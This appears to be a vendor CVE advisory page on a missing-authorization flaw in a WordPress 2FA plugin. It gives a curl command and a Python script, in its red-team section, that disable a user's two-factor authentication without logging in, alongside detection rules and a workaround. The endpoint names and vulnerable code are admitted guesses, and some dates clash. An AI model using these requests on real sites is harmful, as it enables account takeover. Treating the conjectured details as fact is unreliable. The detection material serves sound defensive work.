☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Miniorange logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-54745

CVE-2025-54745 Missing Authorization in Miniorange
📅 PUBLISHED: 2025-12-18 07:21 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.05%
👁️
0.05% probability
1.3× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: India License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54745 is a Missing Authorization vulnerability in the miniOrange Google Authenticator plugin for WordPress (specifically the miniorange-2-factor-authentication component). This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially bypassing authentication mechanisms or accessing restricted functionality. The vulnerability affects all versions up to and including 6.1.1. As of this report, no official patch has been released, and the vendor (miniOrange) has not provided a fix. The CVSS score of 6.5 (Medium) reflects the ease of exploitation and potential for partial confidentiality and integrity impact.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and is also available for direct download from miniOrange. Users should verify the integrity of their plugin files and monitor for any suspicious updates or modifications. Since no patch is available, the supply chain risk is elevated, and users must rely on workarounds or alternative solutions.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The threat level is elevated due to the lack of authentication required and the potential for unauthorized access to sensitive configuration or user data. The low complexity and no user interaction make this an attractive target for automated exploitation.

Deep Dive & Mechanics

The vulnerability stems from improper authorization checks in the plugin's REST API endpoints or AJAX handlers. The plugin likely fails to verify that the current user has the necessary permissions (e.g., manage_options or edit_users) before executing sensitive actions such as:

  • Resetting 2FA configurations for other users
  • Disabling 2FA for specific accounts
  • Accessing or modifying plugin settings
  • Retrieving backup codes or secrets

An attacker can craft a direct HTTP request to the vulnerable endpoint without any authentication token or session, bypassing the intended access control. The plugin's code may rely on a nonce or capability check that is either missing or incorrectly implemented.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable version likely contains code similar to:

// Vulnerable: No capability check
add_action('wp_ajax_nopriv_mo2f_reset_user', 'mo2f_reset_user_handler');
function mo2f_reset_user_handler() {
    $user_id = $_POST['user_id'];
    // Reset 2FA for the user without checking if current user is admin
    update_user_meta($user_id, 'mo2f_2fa_enabled', false);
}

A patched version would include a capability check:

// Patched: Check admin capability
add_action('wp_ajax_mo2f_reset_user', 'mo2f_reset_user_handler');
function mo2f_reset_user_handler() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    $user_id = $_POST['user_id'];
    update_user_meta($user_id, 'mo2f_2fa_enabled', false);
}

The key difference is the removal of nopriv (which allows unauthenticated access) and the addition of current_user_can().

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site with miniOrange Google Authenticator plugin version <= 6.1.1
  • Knowledge of the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=mo2f_reset_user)

Exploitation Steps:

  1. Identify the vulnerable endpoint: Use a tool like Burp Suite or curl to probe for AJAX actions. Common actions include mo2f_reset_user, mo2f_disable_2fa, or mo2f_get_backup_codes.

  2. Craft the exploit request:

    curl -X POST http://target.com/wp-admin/admin-ajax.php \
    -d "action=mo2f_reset_user&user_id=1"
    
  3. Verify exploitation: Check if the target user's 2FA is disabled by attempting to log in without a 2FA code.

Automated Exploit Script (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
data = {
    "action": "mo2f_reset_user",
    "user_id": 1
}
response = requests.post(target, data=data)
if response.status_code == 200:
    print("Exploit successful - 2FA disabled for user 1")
else:
    print("Exploit failed")

Blue Team

Detection Steps:

  1. Monitor for unusual AJAX requests: Look for POST requests to /wp-admin/admin-ajax.php with actions related to 2FA (e.g., mo2f_*) from unauthenticated users.

  2. Check server logs: Search for 200 responses to admin-ajax.php with suspicious parameters.

  3. Review plugin files: Verify that all AJAX handlers in the plugin include proper capability checks.

Honeypot Setup:

  • Create a fake endpoint that mimics the vulnerable action and logs all attempts.
  • Use a WAF rule to block requests to admin-ajax.php with action parameters containing mo2f_ unless the request includes a valid nonce.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /wp-admin/admin-ajax.php with action=mo2f_* parameters
    • Unusual user agent strings (e.g., python-requests, curl)
    • Repeated attempts to access admin-ajax.php from the same IP
  • File IOCs:

    • Modified plugin files in /wp-content/plugins/miniorange-2-factor-authentication/
    • Unexpected entries in WordPress user meta table (wp_usermeta) related to 2FA status
  • Log IOCs:

    • Apache/Nginx access logs showing 200 responses to admin-ajax.php with mo2f_ actions
    • PHP error logs showing warnings about missing capability checks

Detection Engineering

YARA Rule

rule CVE_2025_54745_Missing_Auth {
    meta:
        description = "Detects missing authorization in miniOrange 2FA plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-54745"
    strings:
        $vuln_func = "wp_ajax_nopriv_mo2f_" nocase
        $vuln_action = "mo2f_" nocase
        $no_cap = "current_user_can" nocase
    condition:
        $vuln_func and $vuln_action and not $no_cap
}

Sigma Rule

title: CVE-2025-54745 - Missing Authorization in miniOrange 2FA Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of missing authorization in miniOrange Google Authenticator plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=mo2f_'
    condition: selection
falsepositives:
    - Legitimate admin actions (requires valid nonce)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54745 - miniOrange 2FA Missing Authorization Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=mo2f_"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released by miniOrange.
  2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action parameters containing mo2f_ unless the request includes a valid nonce.
  3. Restrict access to wp-admin/admin-ajax.php using IP whitelisting or .htaccess rules.

Long-term Fix:

  • Monitor the miniOrange plugin page for an official update.
  • Consider switching to an alternative 2FA plugin that is actively maintained and has a proven security track record.

Workaround Code (if plugin cannot be disabled): Add the following to your theme's functions.php to block unauthenticated access to vulnerable endpoints:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX && !is_user_logged_in()) {
        $action = $_REQUEST['action'] ?? '';
        if (strpos($action, 'mo2f_') === 0) {
            wp_die('Unauthorized');
        }
    }
});

Valters IT
Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54745/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.